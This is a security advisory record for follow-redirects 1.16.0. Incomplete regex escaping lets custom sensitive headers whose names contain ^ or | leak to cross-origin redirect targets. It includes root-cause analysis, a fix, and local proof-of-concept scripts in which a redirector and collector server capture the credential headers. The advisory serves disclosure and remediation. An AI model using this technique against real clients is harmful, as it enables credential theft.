GHSA-8R9P-F939-6H3C
Vulnerability from github – Published: 2026-10-20 17:53 – Updated: 2026-10-20 17:53Summary
follow-redirects 1.16.0 introduced the sensitiveHeaders option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through escapeRegex. escapeRegex escapes only a partial set of metacharacters and leaves ^, |, [, {, and } unescaped. Header names may legitimately contain ^ and | (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.
Details
The filter is constructed once, in the RedirectableRequest constructor at index.js:118-120:
this._headerFilter = new RegExp("^(?:" +
sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join("|") +
")$", "i");
escapeRegex at index.js:703-705:
function escapeRegex(regex) {
return regex.replace(/[\]\\/()*+?.$]/g, "\\$&"); // escapes ] \ / ( ) * + ? . $ -- NOT ^ | [ { }
}
The character class escapes ], \, /, (, ), *, +, ?, ., and $. It omits ^, |, [, {, and }. Of these, Node's http.ClientRequest accepts ^ and | in header names (they are valid tchar values under RFC 9110) and rejects [, {, } with ERR_INVALID_HTTP_TOKEN, so ^ and | are the reachable vectors for a silent credential leak. Separately, although [, {, } cannot appear as live header names, declaring a sensitiveHeaders entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter RegExp throws a SyntaxError in the RedirectableRequest constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.
For a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:
- A name containing
^, for exampleX-Api^Key, yields the alternativeX-Api^Keyinside the pattern. The^becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name.test("X-Api^Key")returnsfalse, and the header is not stripped. - A name containing
|, for exampleX-Token|Secret, is split into two separate alternativesX-TokenandSecret. The real headerX-Token|Secretis never matched (not stripped), while unrelated headers literally namedX-TokenorSecretwould be stripped instead.
The generated filter source, reproduced from the exact library logic, is:
^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$
Direct matching results against this filter: X-Api^Key -> false, X-Token|Secret -> false, X-Control-Key (normal name) -> true, and the split-off X-Token -> true and Secret -> true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -> true.
Secondary, related weakness (filter snapshot not refreshed after beforeRedirect): the filter is built once at construction and applied at index.js:490, which runs before the beforeRedirect(this._options, ...) hook and the subsequent _sanitizeOptions at index.js:494-506. Because the strip happens before the hook and this._headerFilter is never rebuilt, any entry a caller adds to options.sensitiveHeaders inside beforeRedirect is silently ignored. This facet is lower severity: mutating sensitiveHeaders inside beforeRedirect is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.
Suggested remediation: two changes close both facets.
- Escape the complete set of regular-expression metacharacters:
function escapeRegex(str) { return str.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); }
This was verified to restore correct matching for all affected names while preserving the built-in matches.
- Build the filter at strip time, or rebuild it after the
beforeRedirecthook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cachedthis._headerFilterwith athis._getHeaderFilter()that constructs the RegExp from the currentthis._options.sensitiveHeaderson each redirect.
Additionally, since header names have a strict grammar, consider validating each entry of options.sensitiveHeaders against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (Sensitive-A, x-sensitive-b), which is why the defect passes CI.
References: - https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653 - https://github.com/follow-redirects/follow-redirects/pull/284 - https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9
PoC
Environment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that require("./index.js") resolves to the library under test.
Facet 1, metacharacter header names, leak.js:
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
req.resume();
res.writeHead(302, { Location: "http://127.0.0.1:45902/" }); // cross-origin (different port)
res.end();
});
var collector = http.createServer(function (req, res) {
res.end(JSON.stringify(req.headers)); // attacker-controlled target
});
redirector.listen(45901, "127.0.0.1", function () {
collector.listen(45902, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 45901, path: "/",
headers: {
"X-Api^Key": "SECRET-LEAKED-1", // declared sensitive, name contains ^
"X-Token|Secret": "SECRET-LEAKED-2", // declared sensitive, name contains |
"X-Control-Key": "SHOULD-BE-STRIPPED", // declared sensitive, normal name (control)
"Authorization": "Bearer BUILTIN-CTL" // built-in list (control)
},
sensitiveHeaders: ["X-Api^Key", "X-Token|Secret", "X-Control-Key"]
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; });
res.on("end", function () {
var h = JSON.parse(body);
console.log("X-Api^Key :", h["x-api^key"] || "(stripped)");
console.log("X-Token|Secret :", h["x-token|secret"] || "(stripped)");
console.log("X-Control-Key :", h["x-control-key"] || "(stripped - OK)");
console.log("Authorization :", h["authorization"] || "(stripped - OK)");
redirector.close(); collector.close();
});
}).end();
});
});
Observed output (1.16.0):
X-Api^Key : SECRET-LEAKED-1 <- credential LEAKED to redirect target
X-Token|Secret : SECRET-LEAKED-2 <- credential LEAKED to redirect target
X-Control-Key : (stripped - OK) <- control: option works for normal names
Authorization : (stripped - OK) <- control: built-in list works
The two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.
Root-cause and fix verification (pure regex logic, no network):
var builtin = ["Authorization", "Proxy-Authorization", "Cookie"];
function escCurrent(s) { return s.replace(/[\]\\/()*+?.$]/g, "\\$&"); } // library's escaper
function escFixed(s) { return s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); } // canonical escaper
function build(esc, d) { return new RegExp("^(?:" + builtin.concat(d).map(esc).join("|") + ")$", "i"); }
var declared = ["X-Api^Key", "X-Token|Secret", "X-Control-Key"];
var cur = build(escCurrent, declared), fix = build(escFixed, declared);
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("current", n, cur.test(n))); // both false
["X-Api^Key","X-Token|Secret"].forEach(n => console.log("fixed ", n, fix.test(n))); // both true
["X-Token","Secret"].forEach(n => console.log("collateral", n, cur.test(n))); // both true (wrong)
Observed: current filter returns false for both metacharacter names and true for the unrelated X-Token and Secret; the fixed filter returns true for all declared names and still true for the built-ins.
Reachability of the vectors:
node -e 'var http=require("http");["X-A^B","X-A|B","X-A[B","X-A{B","X-A}B"].forEach(function(n){try{var r=http.request({host:"127.0.0.1",port:1});r.setHeader(n,"v");r.destroy();console.log(n,"ACCEPTED");}catch(e){console.log(n,"REJECTED",e.code);}});'
Observed: X-A^B and X-A|B ACCEPTED; X-A[B, X-A{B, X-A}B REJECTED with ERR_INVALID_HTTP_TOKEN.
Facet 2, entry declared inside beforeRedirect, leak2.js:
var followRedirects = require("./index.js");
var http = require("http");
var redirector = http.createServer(function (req, res) {
res.writeHead(302, { Location: "http://127.0.0.1:46202/" }); res.end();
});
var collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });
redirector.listen(46201, "127.0.0.1", function () {
collector.listen(46202, "127.0.0.1", function () {
followRedirects.http.request({
hostname: "127.0.0.1", port: 46201, path: "/",
headers: { "X-Late": "LATE-DECLARED-VALUE" },
beforeRedirect: function (options) { options.sensitiveHeaders.push("X-Late"); }
}, function (res) {
var body = ""; res.on("data", function (c) { body += c; }); res.on("end", function () {
console.log("X-Late forwarded to redirect target:", JSON.parse(body)["x-late"] || "(stripped)");
redirector.close(); collector.close();
});
}).end();
});
});
Observed output (1.16.0): X-Late forwarded to redirect target: LATE-DECLARED-VALUE (the late-declared name is not stripped).
Impact
This is an information-disclosure vulnerability: silent failure of the sensitiveHeaders cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the sensitiveHeaders option to protect a custom credential-bearing header whose name contains ^ or |, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the sensitiveHeaders option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "follow-redirects"
},
"ranges": [
{
"events": [
{
"introduced": "1.16.0"
},
{
"fixed": "1.16.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-111755"
],
"database_specific": {
"cwe_ids": [
"CWE-185",
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-20T17:53:05Z",
"nvd_published_at": "2026-10-19T18:17:00Z",
"severity": "HIGH"
},
"details": "### Summary\nfollow-redirects 1.16.0 introduced the `sensitiveHeaders` option (the fix for CVE-2026-40895 / GHSA-r4q5-vmmm-2653), which lets an application declare extra header names that must be removed when a redirect crosses to a different host or downgrades protocol. The filter is a single case-insensitive regular expression built by concatenating the declared header names into an alternation after passing each through `escapeRegex`. `escapeRegex` escapes only a partial set of metacharacters and leaves `^`, `|`, `[`, `{`, and `}` unescaped. Header names may legitimately contain `^` and `|` (both are valid RFC 9110 token characters that Node accepts and sends), and for a declared name containing either, the generated pattern can never match the intended header. As a result, an application that adopts this option to protect a custom credential header, then follows an attacker-controlled cross-origin redirect, forwards that credential to the attacker with no error or warning, while believing it is protected. The failure is silent: the protection simply does not exist for the affected names. The built-in list (Authorization, Proxy-Authorization, Cookie) contains no metacharacters and is not affected by this defect.\n\n### Details\nThe filter is constructed once, in the `RedirectableRequest` constructor at `index.js:118-120`:\n\n```js\nthis._headerFilter = new RegExp(\"^(?:\" +\n sensitiveHeaders.concat(options.sensitiveHeaders).map(escapeRegex).join(\"|\") +\n \")$\", \"i\");\n```\n\n`escapeRegex` at `index.js:703-705`:\n\n```js\nfunction escapeRegex(regex) {\n return regex.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$\u0026\"); // escapes ] \\ / ( ) * + ? . $ -- NOT ^ | [ { }\n}\n```\n\nThe character class escapes `]`, `\\`, `/`, `(`, `)`, `*`, `+`, `?`, `.`, and `$`. It omits `^`, `|`, `[`, `{`, and `}`. Of these, Node\u0027s `http.ClientRequest` accepts `^` and `|` in header names (they are valid `tchar` values under RFC 9110) and rejects `[`, `{`, `}` with `ERR_INVALID_HTTP_TOKEN`, so `^` and `|` are the reachable vectors for a silent credential leak. Separately, although `[`, `{`, `}` cannot appear as live header names, declaring a `sensitiveHeaders` entry that contains one of them injects an unbalanced token into the alternation (for example an unterminated character class), so the filter `RegExp` throws a `SyntaxError` in the `RedirectableRequest` constructor and the request fails to start. That case is a loud request-time crash from the same incomplete-escaping root cause rather than a silent bypass, and the canonical escaper below fixes it as well.\n\nFor a declared sensitive header name containing an unescaped metacharacter, the alternation is broken in a fail-open way:\n\n- A name containing `^`, for example `X-Api^Key`, yields the alternative `X-Api^Key` inside the pattern. The `^` becomes a mid-pattern start-of-string anchor, so the alternative can never match any real header name. `test(\"X-Api^Key\")` returns `false`, and the header is not stripped.\n- A name containing `|`, for example `X-Token|Secret`, is split into two separate alternatives `X-Token` and `Secret`. The real header `X-Token|Secret` is never matched (not stripped), while unrelated headers literally named `X-Token` or `Secret` would be stripped instead.\n\nThe generated filter source, reproduced from the exact library logic, is:\n```\n^(?:Authorization|Proxy-Authorization|Cookie|X-Api^Key|X-Token|Secret|X-Control-Key)$\n```\nDirect matching results against this filter: `X-Api^Key` -\u003e false, `X-Token|Secret` -\u003e false, `X-Control-Key` (normal name) -\u003e true, and the split-off `X-Token` -\u003e true and `Secret` -\u003e true (collateral wrong-stripping). The built-ins Authorization, Proxy-Authorization, Cookie all -\u003e true.\n\nSecondary, related weakness (filter snapshot not refreshed after `beforeRedirect`): the filter is built once at construction and applied at `index.js:490`, which runs before the `beforeRedirect(this._options, ...)` hook and the subsequent `_sanitizeOptions` at `index.js:494-506`. Because the strip happens before the hook and `this._headerFilter` is never rebuilt, any entry a caller adds to `options.sensitiveHeaders` inside `beforeRedirect` is silently ignored. This facet is lower severity: mutating `sensitiveHeaders` inside `beforeRedirect` is not a documented usage of the option (the documented path is the request option), so it is best treated as a hardening item bundled with the escaping fix rather than an independent control bypass. It is included here because both issues undermine the same control and share a remediation.\n\nSuggested remediation: two changes close both facets.\n\n1. Escape the complete set of regular-expression metacharacters:\n```js\nfunction escapeRegex(str) { return str.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$\u0026\"); }\n```\nThis was verified to restore correct matching for all affected names while preserving the built-in matches.\n\n2. Build the filter at strip time, or rebuild it after the `beforeRedirect` hook re-sanitizes options, so entries added inside the hook take effect. For example, replace the cached `this._headerFilter` with a `this._getHeaderFilter()` that constructs the RegExp from the current `this._options.sensitiveHeaders` on each redirect.\n\nAdditionally, since header names have a strict grammar, consider validating each entry of `options.sensitiveHeaders` against the RFC 9110 token character set and throwing an explicit error on invalid names, so misconfiguration fails loudly. Add a unit test asserting that every declared name is actually matched by the generated filter; the current suite only exercises metacharacter-free names (`Sensitive-A`, `x-sensitive-b`), which is why the defect passes CI.\n\nReferences:\n- https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653\n- https://github.com/follow-redirects/follow-redirects/pull/284\n- https://github.com/follow-redirects/follow-redirects/commit/844c4d302ac963d29bdb5dc1754ec7df3d70d7f9\n\n### PoC\nEnvironment: Node.js v24.18.0 on Windows 11. Run each script from a checkout of follow-redirects at 1.16.0 so that `require(\"./index.js\")` resolves to the library under test.\n\nFacet 1, metacharacter header names, `leak.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n req.resume();\n res.writeHead(302, { Location: \"http://127.0.0.1:45902/\" }); // cross-origin (different port)\n res.end();\n});\nvar collector = http.createServer(function (req, res) {\n res.end(JSON.stringify(req.headers)); // attacker-controlled target\n});\nredirector.listen(45901, \"127.0.0.1\", function () {\n collector.listen(45902, \"127.0.0.1\", function () {\n followRedirects.http.request({\n hostname: \"127.0.0.1\", port: 45901, path: \"/\",\n headers: {\n \"X-Api^Key\": \"SECRET-LEAKED-1\", // declared sensitive, name contains ^\n \"X-Token|Secret\": \"SECRET-LEAKED-2\", // declared sensitive, name contains |\n \"X-Control-Key\": \"SHOULD-BE-STRIPPED\", // declared sensitive, normal name (control)\n \"Authorization\": \"Bearer BUILTIN-CTL\" // built-in list (control)\n },\n sensitiveHeaders: [\"X-Api^Key\", \"X-Token|Secret\", \"X-Control-Key\"]\n }, function (res) {\n var body = \"\"; res.on(\"data\", function (c) { body += c; });\n res.on(\"end\", function () {\n var h = JSON.parse(body);\n console.log(\"X-Api^Key :\", h[\"x-api^key\"] || \"(stripped)\");\n console.log(\"X-Token|Secret :\", h[\"x-token|secret\"] || \"(stripped)\");\n console.log(\"X-Control-Key :\", h[\"x-control-key\"] || \"(stripped - OK)\");\n console.log(\"Authorization :\", h[\"authorization\"] || \"(stripped - OK)\");\n redirector.close(); collector.close();\n });\n }).end();\n });\n});\n```\nObserved output (1.16.0):\n```\nX-Api^Key : SECRET-LEAKED-1 \u003c- credential LEAKED to redirect target\nX-Token|Secret : SECRET-LEAKED-2 \u003c- credential LEAKED to redirect target\nX-Control-Key : (stripped - OK) \u003c- control: option works for normal names\nAuthorization : (stripped - OK) \u003c- control: built-in list works\n```\nThe two controls stripping correctly in the same run prove the strip branch executed and only the metacharacter names defeat the filter.\n\nRoot-cause and fix verification (pure regex logic, no network):\n```js\nvar builtin = [\"Authorization\", \"Proxy-Authorization\", \"Cookie\"];\nfunction escCurrent(s) { return s.replace(/[\\]\\\\/()*+?.$]/g, \"\\\\$\u0026\"); } // library\u0027s escaper\nfunction escFixed(s) { return s.replace(/[.*+?^${}()|[\\]\\\\]/g, \"\\\\$\u0026\"); } // canonical escaper\nfunction build(esc, d) { return new RegExp(\"^(?:\" + builtin.concat(d).map(esc).join(\"|\") + \")$\", \"i\"); }\nvar declared = [\"X-Api^Key\", \"X-Token|Secret\", \"X-Control-Key\"];\nvar cur = build(escCurrent, declared), fix = build(escFixed, declared);\n[\"X-Api^Key\",\"X-Token|Secret\"].forEach(n =\u003e console.log(\"current\", n, cur.test(n))); // both false\n[\"X-Api^Key\",\"X-Token|Secret\"].forEach(n =\u003e console.log(\"fixed \", n, fix.test(n))); // both true\n[\"X-Token\",\"Secret\"].forEach(n =\u003e console.log(\"collateral\", n, cur.test(n))); // both true (wrong)\n```\nObserved: current filter returns false for both metacharacter names and true for the unrelated `X-Token` and `Secret`; the fixed filter returns true for all declared names and still true for the built-ins.\n\nReachability of the vectors:\n```\nnode -e \u0027var http=require(\"http\");[\"X-A^B\",\"X-A|B\",\"X-A[B\",\"X-A{B\",\"X-A}B\"].forEach(function(n){try{var r=http.request({host:\"127.0.0.1\",port:1});r.setHeader(n,\"v\");r.destroy();console.log(n,\"ACCEPTED\");}catch(e){console.log(n,\"REJECTED\",e.code);}});\u0027\n```\nObserved: `X-A^B` and `X-A|B` ACCEPTED; `X-A[B`, `X-A{B`, `X-A}B` REJECTED with `ERR_INVALID_HTTP_TOKEN`.\n\nFacet 2, entry declared inside `beforeRedirect`, `leak2.js`:\n```js\nvar followRedirects = require(\"./index.js\");\nvar http = require(\"http\");\nvar redirector = http.createServer(function (req, res) {\n res.writeHead(302, { Location: \"http://127.0.0.1:46202/\" }); res.end();\n});\nvar collector = http.createServer(function (req, res) { res.end(JSON.stringify(req.headers)); });\nredirector.listen(46201, \"127.0.0.1\", function () {\n collector.listen(46202, \"127.0.0.1\", function () {\n followRedirects.http.request({\n hostname: \"127.0.0.1\", port: 46201, path: \"/\",\n headers: { \"X-Late\": \"LATE-DECLARED-VALUE\" },\n beforeRedirect: function (options) { options.sensitiveHeaders.push(\"X-Late\"); }\n }, function (res) {\n var body = \"\"; res.on(\"data\", function (c) { body += c; }); res.on(\"end\", function () {\n console.log(\"X-Late forwarded to redirect target:\", JSON.parse(body)[\"x-late\"] || \"(stripped)\");\n redirector.close(); collector.close();\n });\n }).end();\n });\n});\n```\nObserved output (1.16.0): `X-Late forwarded to redirect target: LATE-DECLARED-VALUE` (the late-declared name is not stripped).\n\n### Impact\nThis is an information-disclosure vulnerability: silent failure of the `sensitiveHeaders` cross-origin stripping control for affected header names. Who is impacted: any application, or upstream library, that adopts the `sensitiveHeaders` option to protect a custom credential-bearing header whose name contains `^` or `|`, and that follows a redirect controlled or compromised by an attacker. When triggered, the declared header value (typically an API token or other bearer credential) is disclosed to the attacker-controlled destination, silently, while the application believes the header is protected. As with the array-form finding, if the redirect downgrades HTTPS to HTTP, the credential also transits in cleartext. Downstream exposure extends beyond the library: any application or wrapper that adopts the `sensitiveHeaders` option and declares a metacharacter-bearing header name inherits the same silent bypass. axios delegates redirect handling to follow-redirects (see GHSA-r4q5-vmmm-2653), so axios-based stacks are affected wherever this option reaches the library. The built-in protected headers are unaffected.",
"id": "GHSA-8r9p-f939-6h3c",
"modified": "2026-10-20T17:53:05Z",
"published": "2026-10-20T17:53:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-8r9p-f939-6h3c"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-111755"
},
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/commit/080a76d0e125b37bf81717368a61d5dc37aa56c8"
},
{
"type": "PACKAGE",
"url": "https://github.com/follow-redirects/follow-redirects"
},
{
"type": "WEB",
"url": "https://github.com/follow-redirects/follow-redirects/releases/tag/v1.16.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "follow-redirects sensitiveHeaders regex escaping can expose credential headers"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.